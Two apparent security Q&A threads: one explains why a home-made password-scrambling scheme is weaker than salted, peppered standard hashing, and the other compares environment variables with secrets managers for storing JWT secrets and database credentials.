I understand that I am no expert at the subject and that those who are could find and abuse a vulnerability in my own made algorithm and could use those conclusions to break my stored hashed passwords more easily than a more robust standard encryption.
The thing I cant wrap my head around is the following: If you assume a custom function which you put A => B, where output B is always the same for a given A. I'm aware that it wont be the best method, but please take that as is, a somewhat decent implementation.
Normally, if a hacker gained ONLY the database, they do their trick and manage to restore an amount of passwords from it. If they have a bot running, or download/generic hack/buy some hashed passwords, the hacker can repeat the standard tricks to reverse them.
Now, if I own a insignificant enough company not to get targeted specifically by hackers and implement my own 'extra sauce'1, all the 'driveby' variants of using tricks no longer work and thus would be safer.
Is there/what is the flaw in my logic? Long term this would be a worthless aproach, because what if you do become a more interesting target? Just do it right from the beginning. But what if you know you'll never be.
1e.g. I split the string in parts A & B, and concat them BAB. And then something better.

This might make sense under the assumption that an attacker doesn't know how your algorithm works.  Unfortunately that isn't a realistic assumption.

Sometimes the attacker is an insider (in fact, insiders are responsible for roughly 25% of all breaches).  Sometimes an insider accidentally publishes private data (also responsible for roughly 25% of all breaches).  Sometimes an external attacker gets access to not just your database but also your code base.

In all of the above cases your magic sauce is completely useless.  A strong hash function protected by a salt is very resistant to brute force attacks.  Even more so if you add in a pepper which is not stored directly in your code base.  Conveniently, such tools are also well supported and easy to use these days - much easier than writing your own magic sauce.

As a result there really just isn't any good reason to write your own magic sauce.


Environment variables vs secrets managers I am testing an in-development app locally.
Currently I use environment variables to store JWT secrets and database usernames and passwords.
I am interested in further securing this, and found out about secret managers (like Conjur).
How is this anymore secure than what I currently have?
Isn't it just a transition from storing my database credentials directly, to storing my Conjur credentials in exactly the same way I currently store my database credentials, and then requesting my database credentials? I must be misunderstanding something.
How do secrets managers actually further secure credentials, and what are the most secure best practices for storing JWT secrets and database passwords?

Store secrets on environmental variables is a bad idea, if you don't have more options of course you can go for it, but having your secrets on a specific service for store this type of information gives you more benefits in terms of security and management.
For example your JWT stored encrypted on your service will directly go safely from the disk of the service (that is properly encrypted), directly to your service with TLS or mTLS to the memory of your backed. Also if you server is compromise your secrets wont be compromised. I'm sure there are more benefits but those are the ones that came to my mind easly